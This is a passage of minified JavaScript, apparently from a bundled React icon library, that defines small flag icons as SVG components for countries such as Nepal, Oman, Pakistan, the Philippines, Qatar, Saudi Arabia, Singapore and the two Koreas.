2.727-2.64-1.558Z"}))),Yl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"}),(0,s.createElement)("path",{fill:"#C51918",stroke:"#4857A1",d:"m5.616 6.32 4.316 5.18H.5V.842L9.04 5.5H4.931l.684.82Z"}),(0,s.createElement)("mask",{id:"NP_-_Nepal_svg__a",width:11,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",stroke:"#fff",d:"m5.616 6.32 4.316 5.18H.5V.842L9.04 5.5H4.931l.684.82Z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#NP_-_Nepal_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"m2.915 10.005-.613.795-.028-1.003-.963.283.567-.828-.946-.337.946-.337-.567-.828.963.283.028-1.004.613.796.612-.796.029 1.004.963-.283-.567.828.945.337-.945.337.567.828-.963-.283-.029 1.003-.612-.795ZM2.9 4.07l-.32.415-.015-.524-.503.148.296-.433-.493-.176.493-.176-.296-.433.503.148.015-.524.32.416.32-.416.015.524.503-.148-.296.433.493.176-.493.176.296.433-.503-.148-.015.524-.32-.416Z"}),(0,s.createElement)("path",{fill:"#F9FAFA",d:"M2.833 3.947c1.113.004 1.707-.627 1.707-.627.117.72-.79 1.2-1.696 1.2-.907 0-1.456-.654-1.794-1.2 0 0 .67.623 1.783.627Z"}))),Jl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KP_-_Korea_(North)_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#KP_-_Korea_(North)_svg__a)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KP_-_Korea_(North)_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KP_-_Korea_(North)_svg__b)"},(0,s.createElement)("path",{fill:"#C51918",stroke:"#F7FCFF",d:"M0 2.5h-.5v7h17v-7H0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M5 8.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#C51918",fillRule:"evenodd",d:"m4.998 6.935-1.359.945.48-1.584-1.319-1 1.654-.033.544-1.563.543 1.563 1.654.034-1.318 1 .479 1.583-1.358-.945Z",clipRule:"evenodd"})))),$l=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"OM_-_Oman_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#OM_-_Oman_svg__a)"},(0,s.createElement)("path",{fill:"#F50101",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"OM_-_Oman_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#OM_-_Oman_svg__b)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#5EAA22",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F50101",d:"M0 0h6v12H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M5.385 1.016C5.39.971 5.332.953 5.308.993a19.138 19.138 0 0 1-1.385 2v-.459c-.07-.077-.299-.286-.299-.286V1.79l.412-.373L3.471 1l-.597.417.451.373v.458c0 .22-.273.286-.273.286l-.05.404a18.687 18.687 0 0 1-1.315-1.924c-.023-.041-.083-.022-.076.025.055.368.221 1.186.68 2.06h-.123v-.017a.043.043 0 0 0-.044-.044H1.07a.043.043 0 0 0-.043.044v.663c0 .024.02.043.043.043h1.054c.024 0 .044-.019.044-.043v-.348H2.3a.3.3 0 0 0 .27.18c.084.13.175.26.275.388-.229-.023-1.74-.151-1.74.398 0 .328.368.502.829.592L.83 5.952c-.033.03-.007.08.036.07a7.128 7.128 0 0 0 2.2-.977h.029c.253 0 .429-.11.55-.258.914.745 1.947 1.09 2.396 1.213.046.013.071-.047.032-.075A13.587 13.587 0 0 1 4.048 4.18l.022-.026c.171-.202.32-.41.45-.619a.298.298 0 0 0 .124-.138h.133v.348c0 .024.02.043.043.043h1.054c.024 0 .044-.019.044-.043v-.663a.043.043 0 0 0-.044-.044H4.82a.043.043 0 0 0-.029.012 6.178 6.178 0 0 0 .594-2.034Zm-.608 2.082v-.02l-.01.02h.01ZM2.82 3.28c0 .134-.11.242-.244.242a.243.243 0 0 1-.245-.242c0-.133.11-.242.245-.242s.244.109.244.242Zm1.304 0c0 .134.11.242.245.242a.243.243 0 0 0 .245-.242.243.243 0 0 0-.245-.242.243.243 0 0 0-.245.242Z",clipRule:"evenodd"})))),Ql=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PK_-_Pakistan_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#PK_-_Pakistan_svg__a)"},(0,s.createElement)("path",{fill:"#2F8D00",d:"M4 0h12v12H4V0Z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h4v12H0V0Z"}),(0,s.createElement)("path",{fill:"#F1F9FF",d:"M11.215 7.653s-2.233.582-4.006-.605c-1.772-1.188-.88-3.924-.88-3.924-.925.134-2.377 3.507-.037 5.199 2.34 1.692 4.582.066 4.923-.67Zm-2.478-3.22-1.186.58 1.251.223.169 1.223.708-1.042 1.395.094-1.092-.814.581-1.088-1.087.498-.808-.76.069 1.086Z"}))),Xl=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PS_-_Palestinian_Territory_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#PS_-_Palestinian_Territory_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h16v12H0V0Z"}),(0,s.createElement)("path",{fill:"#5EAA22",d:"M0 0v4h16V0H0Z"}),(0,s.createElement)("path",{fill:"#272727",d:"M0 8v4h16V8H0Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"m0 1 8 5-8 5V1Z"}))),et=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"PH_-_Philippines_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#PH_-_Philippines_svg__a)"},(0,s.createElement)("path",{fill:"#BF2714",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PH_-_Philippines_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#PH_-_Philippines_svg__b)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M0-1v7h16v-7H0Z",clipRule:"evenodd"})),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"PH_-_Philippines_svg__c",width:9,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12l9-6-9-6Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fill:"#FECA00",fillRule:"evenodd",clipRule:"evenodd",mask:"url(#PH_-_Philippines_svg__c)"},(0,s.createElement)("path",{d:"m6.803 5.46.638.246.38-.447.01.598.586.19-.618.21.041.55-.407-.421-.64.122.378-.485-.368-.563ZM.803 8.46l.586.26.431-.46-.041.61.638.178-.67.223.093.535-.466-.382-.58.084.325-.471-.316-.577ZM.803 2.46l.648.24.37-.44.02.59.576.198-.607.203.03.555-.404-.402-.643.104.389-.492-.38-.556ZM4.06 7.266a1.25 1.25 0 1 0 0-2.5 1.25 1.25 0 0 0 0 2.5Z"}),(0,s.createElement)("path",{d:"m3.913 4.12.067.803a.112.112 0 0 0 .221.004l.09-.8a.191.191 0 0 0-.214-.221.19.19 0 0 0-.164.214Zm-.21.388.105.35c.01.032.042.052.078.045a.056.056 0 0 0 .042-.067l-.083-.35a.079.079 0 0 0-.098-.058.065.065 0 0 0-.043.08Zm.562.364c-.008.03.01.06.043.07a.067.067 0 0 0 .077-.045l.116-.345a.065.065 0 0 0-.05-.084.079.079 0 0 0-.09.056l-.096.348Zm1.039-.351-.559.617a.112.112 0 0 0 .154.159l.667-.505a.19.19 0 1 0-.262-.271Zm-.17 1.31.834-.065a.19.19 0 1 1-.006.377l-.832-.091a.112.112 0 0 1 .004-.221Zm.433 1.329-.648-.564a.112.112 0 0 0-.16.153l.537.673a.19.19 0 1 0 .271-.262Zm-1.341-.176.05.843a.19.19 0 1 1-.378-.007l.107-.84a.112.112 0 0 1 .221.004Zm-1.315.456.55-.67a.112.112 0 0 0-.154-.16l-.658.558a.19.19 0 1 0 .262.272Zm.161-1.363-.84.069a.19.19 0 1 1 .007-.377l.837.086a.112.112 0 0 1-.004.222ZM2.575 4.76l.712.55a.112.112 0 0 0 .16-.153l-.6-.659a.19.19 0 1 0-.271.262Zm2.095.209.173-.32a.065.065 0 0 1 .095-.023c.033.025.043.07.02.106l-.189.307a.056.056 0 0 1-.076.018.067.067 0 0 1-.023-.088Zm.879.584-.35.104a.067.067 0 0 0-.046.079c.008.03.038.049.068.041l.35-.082a.079.079 0 0 0 .058-.098.065.065 0 0 0-.08-.044Zm-.462.966.32.174a.065.065 0 0 1 .022.094.079.079 0 0 1-.105.021l-.307-.189A.056.056 0 0 1 5 6.543a.067.067 0 0 1 .088-.023Zm-.585.88-.104-.35a.067.067 0 0 0-.078-.046.056.056 0 0 0-.042.067l.083.35a.079.079 0 0 0 .098.059.065.065 0 0 0 .043-.08Zm-.965-.462-.174.32a.065.065 0 0 1-.095.022.079.079 0 0 1-.02-.106l.189-.306a.056.056 0 0 1 .077-.018c.03.02.039.058.023.088Zm-.88-.585.35-.104a.067.067 0 0 0 .046-.079.056.056 0 0 0-.067-.041l-.351.083a.079.079 0 0 0-.058.097c.01.034.046.054.08.044Zm.462-.966-.32-.173a.065.065 0 0 1-.022-.095.079.079 0 0 1 .105-.021l.307.19c.026.016.034.05.018.076a.067.067 0 0 1-.088.023Zm1.864-.084c-.027.016-.036.05-.02.08a.067.067 0 0 0 .086.023l.327-.163A.065.065 0 0 0 5.4 5.15a.079.079 0 0 0-.104-.025l-.313.178Zm.133.855c.008-.033.04-.05.069-.042l.347.095a.079.079 0 0 1 .055.1.065.065 0 0 1-.082.04l-.345-.116a.067.067 0 0 1-.044-.077Zm-.363.675c-.015-.026-.05-.036-.079-.019a.067.067 0 0 0-.023.086l.162.326a.065.065 0 0 0 .094.025.079.079 0 0 0 .025-.105l-.179-.313Zm-.855.133c.033.009.051.04.043.07l-.095.347a.079.079 0 0 1-.1.054.065.065 0 0 1-.04-.081l.116-.346a.067.067 0 0 1 .076-.044Zm-.675-.362c.027-.015.037-.05.02-.08a.067.067 0 0 0-.086-.022l-.326.162a.065.065 0 0 0-.025.094.079.079 0 0 0 .105.024l.312-.178Zm-.132-.855c-.01.033-.04.05-.07.042l-.347-.095a.079.079 0 0 1-.055-.1.065.065 0 0 1 .082-.04l.346.116c.032.01.05.044.044.077Zm.362-.675c.015.027.05.036.079.019a.067.067 0 0 0 .023-.086l-.162-.326a.065.065 0 0 0-.094-.025.079.079 0 0 0-.025.105l.179.313Z"})))),lt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"QA_-_Qatar_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#QA_-_Qatar_svg__a)"},(0,s.createElement)("path",{fill:"#B61C49",d:"M0 0h16v12H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0h3.4L6 1 3.4 2 6 3 3.4 4 6 5 3.4 6 6 7 3.4 8 6 9l-2.6 1L6 11l-2.6 1H0V0Z",clipRule:"evenodd"}))),tt=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SA_-_Saudi_Arabia_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SA_-_Saudi_Arabia_svg__a)"},(0,s.createElement)("path",{fill:"#67BD23",d:"M0 0h16v12H0z"}),(0,s.createElement)("path",{stroke:"#fff",strokeWidth:.5,d:"M3.49 2.288s.256 1.164 0 .941c-.254-.223-.822.628-.23.314.593-.314.698-.64.698 0s.283.314-.207.79c-.49.474 1.718.482.729.78-.99.297-1.458.931-.729.698.729-.233 1.902-1.221 1.596-1.479-.306-.257-.156-.205-.156-.789 0-.584-.194-.735-.448-.886-.253-.15.987 1.02 1.401.326.414-.695.364-.247.664 0 .3.246.765.543.765 0 0-.544.615-1.593.615-.516 0 1.076.772 1.632.772.911 0-.721.71-1.427.71-.911s.407.492.755.34c.348-.15.319-.548.319.571 0 1.12.146 2.869-.319 2.721-.464-.147-.03-.813-.465-1.767-.435-.954.443-.957-.465.26-.908 1.219-.763 1.04-1.035.52-.272-.52.886-1.04 0-.78-.887.26-.405 1.72-.646 1.25-.24-.47-.856-2.964-.931-1.717-.075 1.247.236 1.946-.423 1.946-.66 0-1.217.05-.767-.23.451-.278.451-1.249.451-1.249"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M6.967 7.928c-.407.05-2.461.04-3.075-.107-.138-.03-.06.598.03.742.089.144.787.288 1.03.322.21.028 1.015-.017 1.852-.063l.415-.023c.733-.04 1.804.03 2.363.066.181.011.309.02.355.02.171 0 .158.058.132.174l-.007.031c-.029.138.125.433.193.46.067.028.572 0 .847-.106.156-.06.175-.052.215-.033a.42.42 0 0 0 .2.033c.19 0 .199-.27.206-.46.004-.105.006-.185.037-.185.034 0 .08.102.124.197.066.146.125.276.125.007 0-.447-.525-1.032-.697-.985-.12.033-.319-.003-.453-.028a.98.98 0 0 0-.127-.019c-.033 0-.023-.008-.001-.026.03-.023.08-.064.08-.124 0-.108-.103-.123-.188-.123s-.13.07-.13.123c0 .053.064.107.064.107l-.188-.002c-.69-.01-3.05-.04-3.402.002Zm3.47.945s.055-.031.18-.186c.139-.171.188-.116.24-.06.026.03.052.06.093.06.117 0 .273 0 .374.086.101.086-.133.204-.201.204-.034 0-.06-.021-.084-.043-.026-.021-.052-.043-.088-.043-.041 0-.077.03-.105.055-.02.017-.036.03-.05.03-.011 0-.037-.014-.07-.033a.513.513 0 0 0-.22-.084c-.043 0-.068.014-.069.014Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",d:"m3.892 7.82.011-.048-.011.049Zm3.075.108.006.05-.006-.05Zm-3.045.635.042-.026-.042.026Zm1.03.322.008-.05-.007.05Zm1.852-.063-.003-.05.003.05Zm.415-.023.003.05-.003-.05Zm2.363.066-.003.05.003-.05Zm.487.194.05.01-.05-.01Zm-.007.031-.048-.01.048.01Zm1.04.354.018.047-.018-.047Zm.215-.033.02-.046-.02.046Zm.406-.428.05.002-.05-.002Zm.16.013.046-.02-.045.02Zm-.571-.978-.013-.048.013.048Zm-.453-.028-.01.05.01-.05Zm-.128-.045-.031-.039.031.04Zm-.174-.017v.05h.136l-.104-.088-.032.038Zm-.188-.002v.05-.05Zm.248.761.039.032-.039-.032Zm-.18.186.044-.025-.043.025Zm.42-.245-.038.033.037-.033Zm.467.145.033-.038-.033.038Zm-.285.161-.033.039.033-.039Zm-.193.012.033.038-.033-.038Zm-.12-.003.024-.043-.024.043Zm-.22-.084v-.05.05Zm-6.626-.99c.313.076.986.115 1.626.13.64.014 1.26.004 1.467-.022l-.012-.099c-.2.024-.811.035-1.453.02-.642-.014-1.304-.053-1.605-.126l-.023.097Zm.084.668a.625.625 0 0 1-.055-.166 1.824 1.824 0 0 1-.037-.248.873.873 0 0 1 .003-.21.12.12 0 0 1 .015-.045c.002-.002.001 0-.002 0a.013.013 0 0 1-.007.001l.021-.097a.087.087 0 0 0-.054.005.097.097 0 0 0-.038.031.212.212 0 0 0-.033.087.967.967 0 0 0-.005.236c.007.088.021.181.04.262.017.08.04.152.067.196l.085-.052Zm.996.298a5.176 5.176 0 0 1-.568-.118 2.364 2.364 0 0 1-.286-.094.67.67 0 0 1-.098-.049.143.143 0 0 1-.044-.037l-.085.052c.017.028.046.05.076.07.031.02.07.039.112.056.085.036.19.07.3.099.218.058.455.103.58.12l.013-.099ZM6.8 8.772c-.418.023-.829.046-1.16.06a5.6 5.6 0 0 1-.681.003l-.014.1c.11.014.369.01.699-.004.332-.013.743-.036 1.162-.06l-.006-.1Zm.416-.023-.416.023.006.1.415-.024-.005-.1Zm2.369.066c-.56-.037-1.633-.106-2.37-.066l.006.1c.73-.04 1.796.029 2.357.065l.007-.1Zm.35.02c-.043 0-.168-.008-.35-.02l-.007.1c.18.011.31.02.358.02v-.1Zm.182.235c.006-.028.013-.057.015-.082a.146.146 0 0 0-.012-.083.118.118 0 0 0-.072-.057.375.375 0 0 0-.112-.013v.1c.04 0 .066.003.081.008.007.002.01.005.012.006l.003.002c0 .002.003.008 0 .027a.65.65 0 0 1-.013.07l.098.022Zm-.007.03.007-.03-.098-.022-.006.032.097.02Zm.163.404s-.003-.001-.012-.01a.783.783 0 0 1-.143-.289.252.252 0 0 1-.008-.104l-.098-.021a.348.348 0 0 0 .009.148.867.867 0 0 0 .168.335.142.142 0 0 0 .046.034l.038-.093Zm.81-.106c-.131.05-.32.083-.488.1a2.447 2.447 0 0 1-.293.01.261.261 0 0 1-.022-.002l-.007-.002-.038.093c.016.006.038.01.06.01.022.003.05.004.081.003.063 0 .143-.004.228-.013.17-.017.37-.05.515-.106l-.036-.093Zm.254-.033c-.01-.004-.022-.01-.038-.014a.15.15 0 0 0-.053-.003.716.716 0 0 0-.163.05l.036.093a.643.643 0 0 1 .138-.043.05.05 0 0 1 .019 0l.02.008.04-.09Zm.18.03a.591.591 0 0 1-.126-.011.244.244 0 0 1-.054-.019l-.041.091c.016.008.038.018.074.026.035.007.081.012.146.012v-.1Zm.155-.414a1.258 1.258 0 0 1-.033.29.224.224 0 0 1-.048.093.098.098 0 0 1-.075.03v.1c.061 0 .11-.022.147-.06a.32.32 0 0 0 .072-.135c.03-.098.033-.22.037-.314l-.1-.004Zm.087-.232c-.035 0-.054.024-.063.041a.184.184 0 0 0-.015.054c-.006.037-.007.086-.01.137l.1.004c.003-.053.004-.096.009-.126a.098.098 0 0 1 .005-.024c.001-.001-.006.014-.026.014v-.1Zm.17.227c-.022-.048-.045-.1-.068-.14a.322.322 0 0 0-.037-.053c-.01-.013-.033-.034-.065-.034v.1c-.015 0-.018-.01-.01 0 .007.007.015.02.025.037.02.035.041.082.063.13l.091-.04Zm.029.027a1.031 1.031 0 0 1-.009.12v.003c0-.001.003-.006.01-.01a.04.04 0 0 1 .027-.006.031.031 0 0 1 .014.005c.001.001 0 .001 0 0a.342.342 0 0 1-.024-.04c-.016-.028-.03-.063-.048-.1l-.09.042a2.308 2.308 0 0 0 .072.144.139.139 0 0 0 .03.034.07.07 0 0 0 .03.013.06.06 0 0 0 .043-.008.085.085 0 0 0 .033-.05.606.606 0 0 0 .012-.147h-.1Zm-.634-.937c.006-.001.021-.002.048.009.025.01.056.028.09.054.07.052.148.132.222.227.15.193.274.44.274.647h.1c0-.24-.14-.509-.295-.708a1.35 1.35 0 0 0-.24-.246.515.515 0 0 0-.114-.067.177.177 0 0 0-.111-.012l.026.096Zm-.475-.027c.067.013.152.028.236.036a.7.7 0 0 0 .24-.009l-.027-.096a.606.606 0 0 1-.204.006 2.837 2.837 0 0 1-.227-.035l-.018.098Zm-.118-.018.043.005.075.013.018-.098-.078-.014a.406.406 0 0 0-.058-.006v.1Zm-.032-.115a.322.322 0 0 0-.026.024.06.06 0 0 0-.012.023.053.053 0 0 0 .038.065.113.113 0 0 0 .032.003v-.1h-.003c.002.001.012.005.02.015a.046.046 0 0 1 .01.042c-.002.009-.007.014-.007.015h-.001a.242.242 0 0 1 .011-.009l-.062-.078Zm.06-.085c0 .015-.006.03-.018.045a.258.258 0 0 1-.042.04l.062.078c.015-.011.039-.03.059-.056a.172.172 0 0 0 .04-.107h-.1Zm-.137-.073c.041 0 .079.004.104.016.012.006.02.012.024.02a.065.065 0 0 1 .01.037h.1a.164.164 0 0 0-.027-.092.156.156 0 0 0-.064-.055.35.35 0 0 0-.147-.026v.1Zm-.08.073c0-.03.027-.073.08-.073v-.1a.177.177 0 0 0-.18.173h.1Zm.014.107.032-.038-.002-.002a.23.23 0 0 1-.024-.025c-.014-.018-.02-.034-.02-.042h-.1c0 .044.025.082.043.104a.315.315 0 0 0 .034.037l.003.003a.01.01 0 0 1 .001 0v.001l.033-.038Zm-.188.048c.106 0 .174.002.188.002v-.1l-.187-.002-.001.1Zm-3.396.001a7.48 7.48 0 0 1 .577-.019c.281-.003.63-.003.99 0 .72.003 1.483.013 1.829.018v-.1c-.345-.005-1.107-.015-1.828-.019-.36-.002-.71-.002-.992.001-.28.003-.497.01-.588.02l.012.1Zm3.605.679a1.43 1.43 0 0 1-.166.174h-.001l-.001.002-.002.001-.005.004a.106.106 0 0 0-.006.007.087.087 0 0 0-.003.054l.087-.05a.088.088 0 0 1-.003.054.084.084 0 0 1-.006.008l-.005.003-.002.002.003-.002a.276.276 0 0 0 .046-.038c.032-.03.078-.078.142-.156l-.078-.063Zm.315-.062c-.012-.013-.028-.031-.046-.045a.125.125 0 0 0-.078-.027.163.163 0 0 0-.093.035.547.547 0 0 0-.098.099l.078.063a.453.453 0 0 1 .079-.08c.02-.015.03-.017.035-.017.004 0 .008 0 .017.007a.25.25 0 0 1 .032.032l.074-.067Zm.056.043c-.006 0-.012-.002-.021-.009a.251.251 0 0 1-.035-.034l-.074.067c.022.025.064.076.13.076v-.1Zm.408.098a.414.414 0 0 0-.206-.087c-.07-.011-.143-.01-.201-.01v.1c.059 0 .123 0 .185.01s.116.028.157.063l.065-.076Zm-.234.292a.27.27 0 0 0 .093-.024.488.488 0 0 0 .1-.056.213.213 0 0 0 .076-.088.106.106 0 0 0-.035-.124l-.065.076a.04.04 0 0 1 .006.007v.001h.001v.004a.12.12 0 0 1-.042.044.386.386 0 0 1-.079.044.19.19 0 0 1-.055.016v.1Zm-.117-.054c.023.019.062.054.117.054v-.1c-.013 0-.024-.007-.052-.03l-.065.076Zm-.055-.032c.015 0 .027.008.055.032l.065-.077c-.023-.02-.063-.055-.12-.055v.1Zm-.072.043a.323.323 0 0 1 .04-.032.063.063 0 0 1 .032-.011v-.1a.162.162 0 0 0-.083.026.408.408 0 0 0-.055.041l.066.076Zm-.082.043a.09.09 0 0 0 .05-.018l.032-.025-.066-.076a.31.31 0 0 1-.022.019l-.004.001.01-.001v.1Zm-.096-.04a1.042 1.042 0 0 0 .067.034.084.084 0 0 0 .029.006v-.1h.006a.109.109 0 0 1-.011-.005L10.75 8.9l-.05.087Zm-.194-.078c.025 0 .057.009.093.025.035.015.07.035.101.053l.05-.087c-.03-.018-.07-.04-.11-.058a.344.344 0 0 0-.134-.033v.1Zm-.113-.011c.01.012.031.024.04.025a.047.047 0 0 0 .021-.003l.004-.002h.002l.001-.001a.129.129 0 0 1 .045-.008v-.1a.228.228 0 0 0-.09.019h-.002.002l.003-.002.008-.002h.013c.009 0 .03.012.04.024l-.087.05Z"}),(0,s.createElement)("path",{stroke:"#fff",strokeWidth:.5,d:"M13.116 2.373S13.923 6 13.116 6s-.807-.316-.807-.316.886.407.641-.659c-.245-1.065-.474-.332-.474-1.269 0-.937-.167-1.566-.167-1.087 0 .48-.111 3.375-.549 2.782-.438-.592-.331-2.426-.331-2.604"}))),at=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"SG_-_Singapore_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#SG_-_Singapore_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"SG_-_Singapore_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#SG_-_Singapore_svg__b)"},(0,s.createElement)("path",{fill:"#E31D1C",d:"M0 0v6h16V0H0Z"}),(0,s.createElement)("path",{fill:"#F1F9FF",d:"M4.434 5.295s-1.413-.568-1.413-2.108 1.413-2.09 1.413-2.09c-.686-.173-2.509-.018-2.509 2.09 0 2.108 1.795 2.505 2.51 2.108Zm.362-.255.405-.244.415.244-.102-.477.337-.377h-.456l-.193-.446-.194.446-.457.02.338.357-.093.477Zm1.879-.272-.406.245.093-.477-.338-.358.457-.02.194-.445.193.446h.456l-.336.377.1.477-.413-.245ZM5.644 2.885l.405-.245.414.245-.101-.478.337-.376h-.457l-.193-.446-.193.446-.457.02.337.356-.092.478Zm-.96.726-.404.245.092-.477-.337-.358.457-.02.193-.445.193.446h.457l-.337.377.101.477-.414-.245Zm2.275.223.405-.245.414.245-.101-.477.337-.377h-.457l-.193-.446-.193.446-.457.02.337.357-.092.477Z"})))),st=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"KR_-_Korea_(South)_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#KR_-_Korea_(South)_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KR_-_Korea_(South)_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KR_-_Korea_(South)_svg__b)"},(0,s.createElement)("path",{fill:"#3D58DB",fillRule:"evenodd",d:"M7.893 9.286c1.708 0 3.093-1.418 3.093-3.168 0-1.749-1.385-3.167-3.093-3.167S4.8 4.37 4.8 6.118c0 1.75 1.385 3.168 3.093 3.168Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"KR_-_Korea_(South)_svg__c",width:7,height:8,x:4,y:2,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M7.893 9.286c1.708 0 3.093-1.418 3.093-3.168 0-1.749-1.385-3.167-3.093-3.167S4.8 4.37 4.8 6.118c0 1.75 1.385 3.168 3.093 3.168Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#KR_-_Korea_(South)_svg__c)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M11.094 6.361s-.173-1.493-1.459-1.574c-1.286-.082-1.632 1.095-1.707 1.406-.074.312-.261 1.143-1.615 